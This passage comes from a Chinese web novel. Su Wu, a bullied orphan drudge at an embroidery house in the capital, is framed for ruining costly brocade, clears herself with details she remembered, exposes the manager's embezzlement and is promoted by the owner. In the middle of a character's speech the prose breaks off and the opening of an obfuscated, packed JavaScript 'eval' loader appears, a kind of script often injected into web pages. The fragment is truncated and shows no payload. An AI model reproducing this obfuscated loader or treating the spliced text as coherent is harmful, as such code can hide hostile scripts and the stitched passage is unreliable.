“哼,走吧,我带你去杂役房,以后你就住在那里。”张嬷嬷冷哼一声,转身朝着杂役房走去。 苏芜连忙跟上张嬷嬷的脚步,走到杂役房。杂役房在院子的最西侧,是一间简陋的土坯房,里面摆着几张破旧的木板床,铺着稻草,屋里没有生火,冷飕飕的,比苏家的柴房也好不了多少。里面已经住了几个杂役,都是年轻的小伙子,看到苏芜走进来,都投来异样的目光。 张嬷嬷指了指角落里的一张空床,没好气道:“以后你就住在这里,记住了,杂役房的规矩,谁都不许偷懒,谁要是敢偷懒,就别想吃饭!还有,绣房里的绣娘们金贵,不许随便靠近,不许弄脏她们的绣品,不然,有你好果子吃!” “我知道了,张嬷嬷。”苏芜点了点头,低声应道。 张嬷嬷又叮嘱了几句,便转身走了。 张嬷嬷走后,杂役房里的几个小伙子便围了过来,上下打量着苏芜,眼神里带着鄙夷和不屑。其中一个身材高大的小伙子,推了苏芜一把,没好气道:“你就是那个乡下来的叫花子?也配来我们锦绣阁当杂役?看你这副模样,能干嘛活?怕是来混吃混喝的吧?” 苏芜被推得踉跄了几步,险些摔倒,她扶着旁边的木板床,缓缓直起身子,抬头看向那小伙子,没有说话,只是眼底闪过一丝倔强。她知道,这些杂役见她是个女子,又乡下来的,无依无靠,便想欺负她。可她现在没有力气反抗,也不能反抗,她只能隐忍,只能默默承受。 “怎么?不说话?心虚了?”另一个小伙子嗤笑一声,伸手就要去扯苏芜的破衣,“我看你这破衣,也该扔了,穿在身上,简直丢我们锦绣阁杂役的脸!” 苏芜下意识地往后退了几步,避开了他的手,紧紧攥着怀里的布包,依旧没有说话。 就在这时,一个年纪稍长的杂役走了过来,对着那几个小伙子道:“行了,别欺负一个小姑娘了,都是出来讨生活的,不容易。张嬷嬷要是知道你们在这里欺负人,饶不了你们。赶紧干活去,别在这惹事。” 那几个小伙子闻言,撇了撇嘴,虽有不满,却也不敢再多说,只是狠狠瞪了苏芜一眼,便转身走了。 苏芜对着那个年纪稍长的杂役微微躬身,声音带着一丝感激:“谢谢大哥。” 那年纪稍长的杂役摆了摆手,叹了口气道:“小姑娘,你一个人在京城里,又在这锦绣阁当杂役,不容易。这锦绣阁里,不管是张嬷嬷,还是这些杂役,都不好相处,你以后凡事多忍忍,少说话,多干活,别惹他们不高兴,不然,怕是待不长久。” “我知道了,谢谢大哥提醒。”苏芜点了点头,把他的话记在了心里。 与那杂役聊了几句,苏芜才知道,他叫王大,在锦绣阁当了三年杂役,为人憨厚老实,看不惯欺负人的事。王大告诉苏芜,锦绣阁里的规矩很多,杂役要天不亮就起来干活,干到天黑才能歇着,每天的活计都排得满满当当,挑水、劈柴、浆洗衣物、清扫院子、给绣娘们送茶水和布料,什么活都要干。张嬷嬷欺软怕硬,最喜欢欺负无依无靠的杂役,尤其是像她这样乡下来的孤女,以后做事一定要小心谨慎。还有那些绣娘们,大多心高气傲,看不起杂役,也不许杂役随便靠近绣房。 苏芜把王大的话一一记在心里,默默点了点头。她知道,她在锦绣阁的日子,不会轻松,甚至会比在苏家还要艰难。可她不怕,她从苏家逃出来,走了七天七夜到京城,吃了那么多苦,受了那么多罪,都没有放弃,这点艰难,又算得了什么。 她走到角落里的那张空床前,把怀里的布包放在床上,又把稻草铺平整,便躺了下去。木板床很硬,稻草也很扎人,屋里冷飕飕的,可苏芜却觉得,这是她十几年来,睡得最安稳的一觉。 她终于有了一个容身之所,终于能在这京城里活下去了。 窗外的寒风依旧刮着,吹得窗户纸呼呼作响,可苏芜的心底,却一片温暖,也一片坚定。她知道,这只是她在京城的开始,未来的路,还很长,还会有更多的艰难和挑战在等着她。可她不会害怕,也不会退缩。 她要靠着自己的双手,靠着自己的隐忍,靠着自己的韧性,在这京城里,一步步站稳脚跟,一步步活下去,一步步活成自己想要的模样。 她闭上眼睛,脑海里闪过苏家村的欺凌,闪过一路逃亡的艰难,闪过京城的繁华,闪过锦绣阁的规矩。她在心里默默告诉自己:苏芜,你一定要好好活着,一定要在这京城里,活出个人样来,一定要让那些曾经欺凌你的人,刮目相看。 夜色渐浓,锦绣阁里渐渐安静了下来,只有绣房里还有几盏灯亮着,那是绣娘们在赶制绣品。苏芜躺在冰冷的木板床上,听着窗外的寒风声,听着远处的车马声,渐渐进入了梦乡。 这一夜,她睡得很沉,没有梦,只有一片安稳。 4. 绣坊风雨·暗积锋芒 天还未亮,启明星尚悬在墨色的天际,锦绣阁的后门便被吱呀一声推开,苏芜的身影裹着刺骨的寒风,出现在院中的水井旁。指尖刚触到水桶的木柄,一股冰寒便顺着指腹窜进骨髓,她下意识地缩了缩手,却还是咬着牙拎起了水桶。井沿结着薄薄的冰碴,她弯腰打水时,裙摆扫过冰面,沾了一层白霜,冻得发紫的脚踝露在破裤脚外,被寒风刮得生疼。 自入锦绣阁做杂役,已过了二十余日。这二十余日,于苏芜而言,是另一场炼狱,却也是她在京城扎根的第一块基石。张嬷嬷的刻薄从未消减,反倒因见她性子隐忍、做事麻利,便将更多的脏活累活尽数推到她身上——别的杂役每日挑三担水,她要挑六担;别人劈半间柴房的柴,她要劈满整间;绣娘们换下的脏衣、绣品的边角布料,不管多少,都让她连夜浆洗干净,稍有不慎,便是一顿呵斥打骂。 那些杂役见张嬷嬷处处针对她,也纷纷落井下石。领头的是个名叫刘三的壮汉,生得牛高马大,心眼却极小,因那日苏芜初来之时,王大替她解了围,便记恨在心,整日带着两个小杂役找她的麻烦。要么是在她挑水时,故意撞她一下,让水桶里的水洒得满身都是,冻得她瑟瑟发抖;要么是在她劈柴时,偷偷把粗重的硬木柴堆在她面前,看着她费尽九牛二虎之力也劈不开,便在一旁嬉笑嘲讽;甚至有一次,他们把她藏在杂役房角落的半块窝头偷了去,扔进了泔水桶,看着她饿了一整天,也毫无愧色。 苏芜都忍了。 她知道,在这锦绣阁里,她无依无靠,无户籍无靠山,唯一的立身之本,便是“忍”与“干”。忍下所有的刁难与欺凌,干好所有的活计,让张嬷嬷挑不出太大的错处,才能保住这来之不易的容身之所。她的手上,新伤叠着旧伤,虎口被斧头震裂的口子刚结了痂,又被扁担磨破,渗出血丝;肩膀上,扁担压出的淤青从未消退,只是从深紫变成了浅青,又添上新的淤痕;脚底的血泡磨成了厚茧,却还是会被冰冷的地面和粗糙的石板路磨得生疼。 可她从未有过一丝放弃的念头。每日干完活,纵使浑身酸痛得连抬手的力气都没有,她也会靠着杂役房的墙壁,借着窗外透进来的微弱月光,做两件旁人不曾留意的事。一是记账,二是绘纹。 记账,是她无意间发现的机会。那日张嬷嬷让她去账房取绣坊的采买清单,账房先生不在,桌上摊着厚厚的账本,她随手翻了几页,便发现了端倪——采买的绸缎,市价每匹三百文,账本上却记着五百文;绣娘用的丝线,每束十文,账本上却记着二十文。更让她心惊的是,每月绣坊给杂役和绣娘发的月钱,账本上的数目与实际发放的数目,相差甚远。她想起王大曾私下跟她说过,张嬷嬷掌着绣坊的采买和月钱发放,每年都能从中捞不少油水,彼时她还半信半疑,此刻见了账本,便知所言非虚。 她天生过目不忘,只扫了几眼,便将账本上的关键数目记在了心里。此后,她便借着送茶水、取布料的机会,有意无意地留意账房的账本和张嬷嬷的采买单据,将每一笔有问题的账目,都默默记在心底,像攒着一颗颗细碎的石子,等着有朝一日,能聚沙成塔。 绘纹,则是刻在她骨子里的喜好与天赋。她自小在乡野长大,看惯了山间的花鸟草木——春日的迎春、夏日的荷花、秋日的丹桂、冬日的腊梅,还有枝头跳跃的麻雀、花间飞舞的蝴蝶、溪中嬉戏的锦鲤,这些鲜活的景致,都深深印在她的脑海里。锦绣阁的绣娘们技艺精湛,可绣出的纹样,却千篇一律,不是刻板的牡丹富贵,便是俗套的鸳鸯戏水,少了几分自然的灵动。 那日她在浆洗绣娘的布料时,捡到了一支被丢弃的炭笔头,便偷偷收了起来。每晚干完活,她便用炭笔头,在捡来的废旧宣纸边角,或是自己的破布上,画下乡野间的那些花鸟草木。她画的荷花,不是规规矩矩的团荷,而是半开的菡萏,带着露珠,亭亭玉立;她画的蝴蝶,不是对称的模样,而是振翅欲飞的姿态,翅膀上的纹路清晰可见;她画的腊梅,不是簇拥的花团,而是疏枝横斜,几朵寒梅点缀其间,自有一番风骨。 她不敢让旁人看见,便将画好的纹样,小心翼翼地藏在杂役房的稻草堆里,或是绣在自己破衣的内衬里。那些粗糙的线条,简单的勾勒,于她而言,却是黑暗日子里,一抹难得的光亮,也是她想要在锦绣阁站稳脚跟,甚至走出底层的唯一希望。 这日清晨,苏芜刚挑完第六担水,将水缸添得满满当当,张嬷嬷便扭着微胖的身子,走到她面前,脸上带着刻薄的笑,手里拿着一叠厚厚的绸缎,扔在她面前的石板地上:“苏芜,把这些绸缎浆洗干净,再熨烫平整,晌午之前必须做好,要是敢弄皱一丝一毫,或是耽误了绣娘们干活,看我不扒了你的皮!” 苏芜低头看去,那叠绸缎足有上百匹,都是上好的云锦和蜀锦,质地柔软,极易损坏,浆洗和熨烫都要格外小心。别说晌午之前,便是连夜赶工,也未必能做好。旁边的刘三见了,凑上前来,嬉皮笑脸地对张嬷嬷道:“张嬷嬷,这苏芜可是您的得力干将,这点活,对她来说不算什么,定能按时做好。” 说罢,他又斜睨着苏芜,眼底满是幸灾乐祸。苏芜知道,这又是张嬷嬷故意刁难她,可她没有丝毫辩解,只是弯腰捡起地上的绸缎,沉声道:“奴婢知道了。” 张嬷嬷冷哼一声,抬手拍了拍苏芜身上的灰尘,语气阴恻:“算你识相,记住了,在锦绣阁里,让你做什么,你就做什么,别想着偷懒耍滑,不然,有你好果子吃。” 说罢,张嬷嬷便扭着身子走了,刘三则跟在她身后,时不时回头冲苏芜做个鬼脸,那副嘴脸,让苏芜心底泛起一丝寒意,却也只是攥紧了手里的绸缎,转身走向浆洗房。 浆洗房在锦绣阁的西北角,狭小阴暗,只有一扇小窗,透进一点微弱的光。房里摆着几个大木盆,里面盛着冰冷的河水,旁边堆着皂角和浆粉,寒风从窗缝里钻进来,吹得木盆里的水泛起层层涟漪。苏芜将绸缎放进木盆,伸手去搓洗,冰冷的河水瞬间冻得她的手指僵硬,几乎握不住东西。她咬着牙,用皂角一点点搓洗着绸缎上的浮尘,动作轻柔,生怕损坏了质地。 搓洗、漂净、上浆、拧干,每一个步骤,她都做得格外认真。上百匹绸缎,她洗了一遍又一遍,手指被冻得红肿发紫,连弯曲都变得困难,胳膊酸得抬不起来,额头上却冒出了细密的汗珠。洗到一半,她实在撑不住了,靠在木盆边,歇了片刻,喝了一口随身携带的冷水,又继续干活。 就在这时,浆洗房的门被吱呀一声推开,一个瘦小的身影探了进来,怯生生地喊道:“苏芜姐姐……” 苏芜回头看去,见是一个约莫十二三岁的小姑娘,梳着双丫髻,穿着一身洗得发白的青布绣娘服,脸上带着些许怯意,手里端着一碗温热的米汤。这小姑娘名叫青禾,是锦绣阁里最底层的小绣娘,父母早亡,被亲戚卖到锦绣阁,因年纪小,技艺不精,总被张嬷嬷打骂,绣娘们也都欺负她,让她干最累的绣活,却给她最少的月钱。 苏芜与青禾相识,是在十几天前。那日青禾因绣坏了一匹给官宦人家做的锦缎,被张嬷嬷抓住,按在地上打骂,打得浑身是伤,连站都站不起来。苏芜路过,见她可怜,便偷偷拿出自己藏的金疮药,给她敷上,又把自己仅有的半块窝头分给她吃。自那以后,青禾便时常偷偷找她,给她送一碗热水,或是一块窝头,虽是微薄的善意,却在这冰冷的绣坊里,给了苏芜一丝温暖。 “青禾,你怎么来了?”苏芜停下手里的活,声音带着一丝疲惫。 青禾走进浆洗房,将手里的米汤递给苏芜,眼眶红红的:“苏芜姐姐,我看你从早上忙到现在,一口东西都没吃,便偷偷从后厨盛了一碗米汤给你。张嬷嬷让你晌午之前洗完这些绸缎,这根本就是故意刁难你,你怎么不反抗呢?” 苏芜接过米汤,温热的触感从指尖传到心底,她喝了一口,米汤的清甜在嘴里散开,驱散了些许寒意和疲惫。她摇了摇头,轻声道:“反抗又能如何?我无依无靠,在这锦绣阁里,只能忍。” 青禾咬着唇,低下头,手指绞着衣角:“可她也太过分了,每天都让你干那么多活,还总让刘三他们欺负你。我看她就是觉得你好欺负,才变本加厉。” 苏芜摸了摸青禾的头,笑了笑:“没事,我能扛住。你快回去吧,别让张嬷嬷看到了,不然又要打骂你了。” 青禾抬起头,看着苏芜红肿的手指和满是淤青的胳膊,眼泪忍不住掉了下来:“苏芜姐姐,你手上的伤都没好,又泡在冷水里,会越来越严重的。我帮你一起洗吧,多一个人,也能快一点。” 说罢,青禾便撸起袖子,想要伸手去木盆里搓洗绸缎。苏芜连忙拦住她:“不行,你不能帮我。张嬷嬷要是知道了,不仅会打骂你,还会把你赶出锦绣阁的。你好不容易有个容身之所,不能因为我毁了。” “可我看着你这么辛苦,心里难受。”青禾的眼泪掉得更凶了,“苏芜姐姐,你是这锦绣阁里,唯一对我好的人。我不想看着你被他们欺负。” 苏芜看着青禾泪眼婆娑的模样,心底涌起一丝暖意,也有一丝酸涩。她想起了自己在苏家村的日子,无依无靠,任人欺凌,那种滋味,她比谁都清楚。她擦了擦青禾的眼泪,轻声道:“听话,快回去。只要你好好活着,好好学绣活,将来能独当一面,就是对我最好的回报了。” 青禾拗不过苏芜,只能点了点头,将米汤碗递给苏芜:“那苏芜姐姐,你一定要把米汤喝完,别累坏了身子。我先回去了,要是张嬷嬷问起,我就说出来捡布料。” 说罢,青禾便转身跑了出去,临走前,还不忘给苏芜带上浆洗房的门。 苏芜看着青禾的背影,喝光了碗里的米汤,心底的疲惫消散了些许。她攥紧了手里的绸缎,继续埋头干活。她知道,青禾的善意,是她在这绣坊里的一丝牵绊,也是她必须更加努力活下去的理由。她不仅要让自己站稳脚跟,还要护着这个唯一对她好的小姑娘。 晌午的钟声敲响时,苏芜终于将最后一匹绸缎熨烫平整,叠得整整齐齐,放在浆洗房的架子上。她撑着木盆,缓缓站起身,浑身酸痛得像散了架,手指僵硬得无法弯曲,脚底的疼痛阵阵袭来,眼前一阵阵发黑。她扶着墙壁,歇了片刻,才勉强稳住身形,转身去叫张嬷嬷来查验。 张嬷嬷慢悠悠地走到浆洗房,看了看架子上的绸缎,伸手摸了摸,见浆洗得干净,熨烫得平整,挑不出丝毫错处,眼底闪过一丝诧异,随即又化为不满,冷哼一声:“算你运气好,没把绸缎弄坏。下次再这么慢,看我怎么收拾你。” 说罢,张嬷嬷便扭着身子走了,连一句夸赞的话都没有。苏芜看着她的背影,没有丝毫怨言,只是转身走出浆洗房,想去后厨找点东西吃。她从早上到现在,只喝了一碗米汤,早已饿得前胸贴后背。 可她刚走到后厨门口,就被刘三带着两个小杂役拦住了去路。刘三双手抱胸,斜睨着苏芜,脸上带着痞气的笑:“苏芜,你倒是挺能耐,这么多绸缎,还真让你洗完了。不过,你以为洗完了就没事了?” 苏芜看着他们,沉声道:“你们想干什么?” “干什么?”刘三冷笑一声,伸手推了苏芜一把,“张嬷嬷说了,你今天干活慢了,耽误了绣娘们的进度,罚你今天不许吃饭,还要去劈够双倍的柴,要是天黑之前劈不完,就别想回杂役房睡觉!” 苏芜被推得踉跄了几步,险些摔倒。她稳住身形,看着刘三,眼底闪过一丝怒意:“我按时完成了活计,张嬷嬷也挑不出错处,你们凭什么罚我?” “凭什么?”刘三上前一步,揪着苏芜的衣领,恶狠狠地说道,“就凭在这锦绣阁里,张嬷嬷说什么就是什么,我们说什么就是什么!你一个乡下来的叫花子,也敢跟我们顶嘴?我看你是活腻了!” 说罢,刘三便抬手想打苏芜,旁边的两个小杂役也围了上来,摩拳擦掌,想要动手。就在这时,一个憨厚的声音响起:“刘三,你们干什么?光天化日之下,欺负一个小姑娘,算什么本事?” 苏芜回头看去,见是王大。王大手里拿着扁担,快步走了过来,挡在苏芜身前,怒视着刘三:“刘三,张嬷嬷只是让她劈柴,没说不许她吃饭,你别太过分了。都是出来讨生活的,何必赶尽杀绝?” 刘三见是王大,脸上的嚣张收敛了几分,却依旧嘴硬:“王大,这是我和她之间的事,跟你没关系,你少管闲事!” “这锦绣阁的事,只要我看到了,就管定了!”王大攥紧了手里的扁担,“今天你们要是敢动她一根手指头,我就跟你们拼了!” 刘三看着王大魁梧的身材,知道自己不是对手,又怕闹大了被张嬷嬷责罚,只能冷哼一声,松开苏芜的衣领,对着两个小杂役道:“我们走!” 说罢,刘三便带着两个小杂役骂骂咧咧地走了。 王大转过身,看着苏芜,叹了口气:“苏芜,你没事吧?刘三他们就是欺软怕硬,你以后可得小心点。” 苏芜揉了揉被揪疼的衣领,摇了摇头:“我没事,谢谢你,王大哥。” “谢什么,都是应该的。”王大摆了摆手,从怀里掏出两个窝头,递给苏芜,“这是我从后厨偷偷拿的,你快吃了吧,吃完了赶紧去劈柴,不然天黑之前劈不完,张嬷嬷又要找你麻烦了。” 苏芜接过窝头,眼眶微微泛红。在这冰冷的绣坊里,王大的憨厚,青禾的善意,是她仅有的温暖。她点了点头,对着王大道谢,便拿着窝头,转身走向柴房。 柴房里堆着满满的粗木柴,都是碗口粗的硬木,极其难劈。苏芜坐在柴房的门槛上,快速吃完了两个窝头,便拿起斧头,开始劈柴。斧头落下,震得她的胳膊发麻,虎口的伤口又裂开了,渗出血丝,可她依旧没有停下,一下又一下,用力地劈着柴。 夕阳西下,橘黄色的余晖透过柴房的窗户,洒在苏芜的身上,将她的身影拉得长长的。柴房里的柴,已经劈了满满一地,堆得整整齐齐,可离双倍的量,还有一半。苏芜的胳膊酸得抬不起来,虎口的血顺着斧头的木柄往下淌,滴在地上,晕开一小片暗红的血痕。她靠在柴堆上,歇了片刻,看着窗外渐渐暗下来的天色,咬了咬牙,又拿起斧头,继续劈柴。 夜色渐浓,锦绣阁里的灯笼纷纷挂了起来,橘黄色的灯光照亮了院子。苏芜终于将最后一根木柴劈断,堆在柴房的角落。她放下斧头,瘫坐在柴房的门槛上,浑身脱力,连抬手的力气都没有了。她看着满天的繁星,心底涌起一丝茫然,却也有一丝坚定。她不知道这样的日子还要过多久,可她知道,只要她不放弃,只要她默默积累力量,总有一天,她能摆脱这底层的苦难,能在这锦绣阁里,走出一条属于自己的路。 可她没想到,更大的危机,正在悄然逼近。 第二日一早,苏芜刚起床,就被张嬷嬷带着几个绣娘堵在了杂役房门口。张嬷嬷的脸上满是怒容,手里拿着一匹被撕坏的锦缎,扔在苏芜面前的地上:“苏芜,你好大的胆子!竟敢偷绣坊的锦缎,还把它撕坏了!这匹锦缎是给户部侍郎家的小姐做嫁衣用的,价值十两银子,你赔得起吗?” 苏芜低头看去,那匹锦缎是上好的蜀锦,绣着精美的牡丹纹样,确实是锦绣阁给户部侍郎家准备的嫁衣布料,可她从未碰过这匹锦缎,更别说偷了又撕坏了。她抬起头,看着张嬷嬷,沉声道:“张嬷嬷,我没有偷锦缎,也没有撕坏它,这不是我做的。” “不是你做的?那是谁做的?”张嬷嬷冷笑一声,指着苏芜,对着周围的绣娘和杂役道,“这锦绣阁里,除了她这个乡下来的叫花子,谁还敢偷锦缎?昨天只有她进过绣品房,不是她是谁?我看你就是见这锦缎名贵,想偷出去卖钱,被发现了,就恼羞成怒,把它撕坏了!” 周围的人纷纷附和,刘三更是跳了出来,指着苏芜道:“我作证,昨天我看到她鬼鬼祟祟地进了绣品房,肯定是她偷的!张嬷嬷,这种手脚不干净的人,不能留在锦绣阁里,应该把她送官,治她的偷窃之罪!” 青禾也挤在人群里,见苏芜被诬陷,急得眼泪都快掉下来了,想要上前替苏芜辩解,却被旁边的绣娘拉住了,绣娘低声呵斥她:“你个小丫头片子,别多管闲事,不然连你一起罚!” 苏芜看着张嬷嬷和刘三一唱一和,看着周围人指指点点的目光,心底涌起一丝寒意。她知道,这是张嬷嬷故意诬陷她,想要把她赶出锦绣阁。或许是因为她近日干活太过麻利,挑不出错处,让张嬷嬷觉得难以掌控;或许是因为她无意间看到了账房的账本,让张嬷嬷心生忌惮;又或许,只是因为张嬷嬷看她不顺眼,想找个借口除掉她。 可她不能认,也不能被赶出锦绣阁。这是她在京城的唯一容身之所,若是被赶出去,她又会变成无家可归的孤女,在这京城的街头,忍饥挨饿,甚至可能被苏大柱找到,抓回苏家村,卖给李老光棍。 她挺直了脊背,看着张嬷嬷,眼底满是坚定:“张嬷嬷,我再说一遍,这匹锦缎不是我偷的,也不是我撕坏的。昨天我确实进过绣品房,可我是去取绣娘们要用的丝线,取完就走了,根本没有碰过这匹锦缎。而且,这锦缎的撕痕边缘参差不齐,明显是被人故意用力撕扯的,若是我偷了锦缎,想卖钱,又怎么会把它撕坏?这根本不合情理。” 张嬷嬷没想到苏芜竟敢当众反驳她,眼底的怒意更甚:“你还敢狡辩!证据确凿,你还想抵赖?来人,把她绑起来,送官治罪!” 旁边的两个杂役闻言,便上前想要绑苏芜。就在这时,苏芜突然开口,声音清亮,传遍了整个院子:“张嬷嬷,且慢!这匹锦缎是昨日晌午放在绣品房的东侧架子上,我昨日去取丝线时,看到架子上的锦缎完好无损,而架子旁的地面上,有一串带着泥印的脚印,那脚印是男子的脚印,尺寸极大,与刘三的脚印一模一样!而且,绣品房的窗户,昨日是关着的,今日却开了一条缝,窗沿上有一道新鲜的划痕,明显是有人从外面翻进来过!” 苏芜的话,让周围的人都愣住了。她天生过目不忘,昨日去取丝线时,无意间看到了绣品房里的一切,包括架子上的锦缎,地面上的脚印,还有关着的窗户。她本以为只是寻常的细节,却没想到,此刻竟成了自证清白的证据。 张嬷嬷的脸色瞬间变了,眼神闪烁,不敢与苏芜对视。刘三更是脸色煞白,下意识地往后退了一步,想要遮住自己的脚印。 苏芜看着刘三的反应,心底更加确定,这一切都是张嬷嬷和刘三联手设计的。她继续道:“而且,我昨日劈柴到深夜,手上磨出了血泡,虎口也裂开了,根本没有力气撕扯这么厚的蜀锦。张嬷嬷若是不信,可以检查我的手,也可以去绣品房查看地面上的脚印和窗沿上的划痕,还可以问问绣品房的守房嬷嬷,昨日是谁除了我之外,进过绣品房!” 周围的人纷纷看向刘三,眼神里充满了怀疑。绣品房的守房嬷嬷也挤了进来,对着张嬷嬷道:“张嬷嬷,昨日除了苏芜姑娘,刘三也进过绣品房,说是找丢失的扁担,待了好一会儿才出来。” 证据确凿,刘三再也撑不住了,双腿一软,瘫坐在地上,嘴里喃喃道:“不是我,不是我做的,是张嬷嬷,是张嬷嬷让我做的……” 张嬷嬷的脸色瞬间变得惨白,厉声呵斥道:“你胡说八道!我什么时候让你做了?你自己偷了锦缎,撕坏了,还想栽赃给我?” “是你,就是你!”刘三红着眼睛,对着周围的人喊道,“是张嬷嬷让我偷了锦缎,撕坏了,栽赃给苏芜,想把她赶出锦绣阁!她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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张嬷嬷的身子剧烈一颤,瘫坐在地上,面如死灰。她知道,温氏一向眼明心亮,若是查起账来,她这些年中饱私囊的事,必定会暴露无遗。 温氏的侍女很快便取来了绣品房的账本和采买单据,账房先生也匆匆赶来。温氏翻看着账本和单据,越看脸色越沉,手指在账本上重重一点:“张嬷嬷,你倒是能耐,采买的绸缎市价三百文一匹,你竟记了五百文;丝线十文一束,你记了二十文;每月的月钱,账本上的数目与实际发放的数目,相差足足二十两银子!这些年,你从锦绣阁捞了多少油水,你自己说说!” 张嬷嬷趴在地上,瑟瑟发抖,一句话也说不出来。 温氏的目光又落在苏芜身上,上下打量着她,见她虽衣衫破旧,满身伤痕,却眼神坚定,脊背挺直,没有丝毫怯懦,眼底闪过一丝赞许。她想起刚才苏芜条理清晰地自证清白,想起她能记住绣品房的诸多细节,心底更是有了几分欣赏。 温氏对着苏芜道:“你叫苏芜?” 苏芜躬身行礼,沉声道:“奴婢苏芜,见过东家。” “起来吧。”温氏摆了摆手,“今日之事,你做得很好,不仅自证了清白,还让我发现了绣坊里的猫腻。说说吧,你想得到什么赏赐?” 苏芜抬起头,看着温氏,眼底闪过一丝犹豫,随即又变得坚定。她知道,这是她在锦绣阁里,摆脱底层,抓住机会的唯一时刻。她躬身道:“奴婢不敢求赏赐,只是想求东家,给奴婢一个机会,让奴婢能留在绣坊,学习绣活和账目之事。奴婢虽出身乡野,却认得几个字,也略通些绘纹之法,还过目不忘,定能为东家分忧。” 说罢,苏芜从怀里掏出自己藏的破布,递到温氏面前。那破布的内衬,绣着她画的乡野花鸟纹样,荷花亭亭,蝴蝶振翅,腊梅疏斜,虽绣工粗糙,却线条灵动,充满了自然的意趣,与锦绣阁里刻板的纹样,截然不同。 温氏接过破布,看着上面的纹样,眼睛瞬间亮了起来。她从事绣坊生意多年,见过无数精美的纹样,却从未见过如此鲜活灵动、充满野趣的纹样,眼前一亮,心底满是惊艳。她抬头看向苏芜,眼底的欣赏更甚:“这纹样,是你画的,也是你绣的?” 苏芜点了点头:“回东家,是奴婢画的,也是奴婢绣的。奴婢自小在乡野长大,看惯了山间的花鸟草木,便随手画了下来,绣在破布上,让东家见笑了。” “好,好一个随手画来!”温氏赞不绝口,“锦绣阁的绣娘们技艺精湛,可纹样却太过刻板,少了几分自然的灵动。你的纹样,独树一帜,若是加以打磨,必定能成为锦绣阁的一绝!而且,你过目不忘,还能发现账目上的问题,倒是个难得的人才。” 温氏沉吟了片刻,对着众人道:“从今日起,免去张嬷嬷锦绣阁管事之职,将她赶出锦绣阁,永不再用!刘三栽赃陷害,偷取绣品,杖责二十,赶出锦绣阁!苏芜虽出身杂役,却聪慧过人,心思缜密,又通绘纹与账目,破格提拔为绣坊的账房助理,兼管绣品纹样的设计,月钱涨至一贯钱,搬去绣坊的偏房居住!” 温氏的话,让所有人都惊呆了。谁也没想到,一个出身底层的杂役,竟能一跃成为账房助理,兼管纹样设计,这简直是一步登天。 苏芜也愣住了,她看着温氏,眼底满是难以置信。她从未想过,自己的隐忍和积累,竟能换来这样的机会。她躬身对着温氏深深一拜,声音带着一丝哽咽:“谢东家赏识,奴婢定当尽心尽力,为东家分忧,绝不辜负东家的期望!” 青禾挤到苏芜身边,拉着她的手,眼泪掉了下来,却是喜极而泣:“苏芜姐姐,太好了,你终于不用被他们欺负了!” 王大也走上前来,对着苏芜拱手道:“苏芜姑娘,恭喜你,实至名归!” 周围的绣娘和杂役,看着苏芜的目光,从最初的鄙夷和轻视,变成了羡慕和敬畏。 温氏看着苏芜,点了点头,又对着账房先生道:“账房先生,今后绣坊的账目,你多与苏芜商议,让她熟悉熟悉绣坊的事务。绣娘们的纹样设计,也多听听苏芜的意见,看看能否将她的纹样,融入到绣品之中。” “是,东家。”账房先生躬身应道。 温氏又叮嘱了几句,便带着侍女走了。张嬷嬷和刘三则被杂役拖了下去,等待他们的,是应有的惩罚。 院子里的人渐渐散去,苏芜站在原地,看着温氏离去的背影,又看了看身边喜极而泣的青禾,和憨厚笑着的王大,心底涌起一股暖流。二十余日的隐忍,二十余日的辛苦,二十余日的默默积累,终于换来了今日的转机。 她知道,这只是她在锦绣阁的新开始,前路依旧布满了风雨。绣坊里的绣娘们,未必会服她这个出身底层的账房助理;京城的权贵世家,也未必会认可她的纹样;甚至还有更多的阴谋和算计,在等着她。 可她不再害怕。 她的手里,握着自己攒下的证据,藏着自己绘出的纹样,身边有了青禾的陪伴,还有了温氏的赏识。她像一株从石缝里钻出来的野草,历经风雨,却依旧倔强生长,如今终于迎来了一缕阳光,扎下了根,生出了芽。 她低头看着自己满是伤痕的手,这双手,曾劈过柴,挑过水,浆洗过无数的布料,如今,却要拿起炭笔,绘出精美的纹样,拿起算盘,理清繁杂的账目。这双手,曾受尽欺凌,如今,却要撑起自己的一片天。 苏芜握紧了青禾的手,眼底满是坚定的光芒。她对着青禾,也对着自己,在心里默默说道:“青禾,从今往后,我不会再让任何人欺负你。从今往后,我要靠着自己的双手,在这锦绣阁里,在这京城里,走出一条属于自己的路。从今往后,我要活成自己的光,再也不用在黑暗里,苦苦挣扎。” 夜色渐浓,锦绣阁里的灯笼依旧亮着,橘黄色的灯光照亮了院子,也照亮了苏芜前行的路。浆洗房的冰冷,柴房的辛苦,张嬷嬷的刻薄,刘三的欺凌,都成了过往。而属于苏芜的锦绣人生,才刚刚开始。绣坊的风雨,从未停歇,可她已不再是那个任人欺凌的孤女,她将借着这场风雨,积攒自己的锋芒,在这京城的繁华里,绽放出属于自己的光彩。 此后,苏芜便在锦绣阁里,开始了新的生活。她搬离了狭小阴暗的杂役房,住进了绣坊的偏房,虽不算宽敞,却干净整洁,还有一扇大大的窗户,能透进充足的阳光。她每日除了协助账房先生理清账目,核对采买单据,还会抽出时间,绘制纹样,与绣娘们交流绣活技巧。 绣娘们起初确实不服她,觉得她一个出身杂役的丫头,不配指导她们的绣活,便时常故意刁难她,要么是说她的纹样不合时宜,要么是说她的设计不懂绣活的门道。可苏芜从未与她们争辩,只是用实际行动证明自己。她根据绣娘们的技艺特点,修改纹样的设计,让纹样更贴合绣活的手法;她结合京城权贵的喜好,在乡野纹样的基础上,加入一些富贵的元素,让纹样既灵动又不失雅致;她还将自己记的账目,整理得清清楚楚,明明白白,让绣坊的采买和开支,一目了然,为锦绣阁节省了不少开销。 久而久之,绣娘们渐渐服了她,不仅愿意听她的意见,还会主动向她请教纹样设计的问题。青禾则一直跟在她身边,一边学习绣活,一边帮她打理杂事,成了她最得力的帮手。王大也依旧憨厚,时常帮她挑水劈柴,护着她不受旁人的欺负。 锦绣阁的生意,也因苏芜设计的新颖纹样,渐渐好了起来。不少官宦人家和富贵世家,都慕名而来,定制绣品,锦绣阁的名声,在京城里越来越响。温氏对苏芜也愈发信任,将绣坊的不少事务,都交给了她打理。 可苏芜知道,这只是开始。她在打理账目时,发现了更多京城商界的门道,也在与权贵世家的接触中,感受到了朝堂的暗流涌动。她知道,在这大靖王朝,皇权渐弱,世家盘踞,想要真正站稳脚跟,想要保护自己想保护的人,仅仅靠着锦绣阁的生意,远远不够。 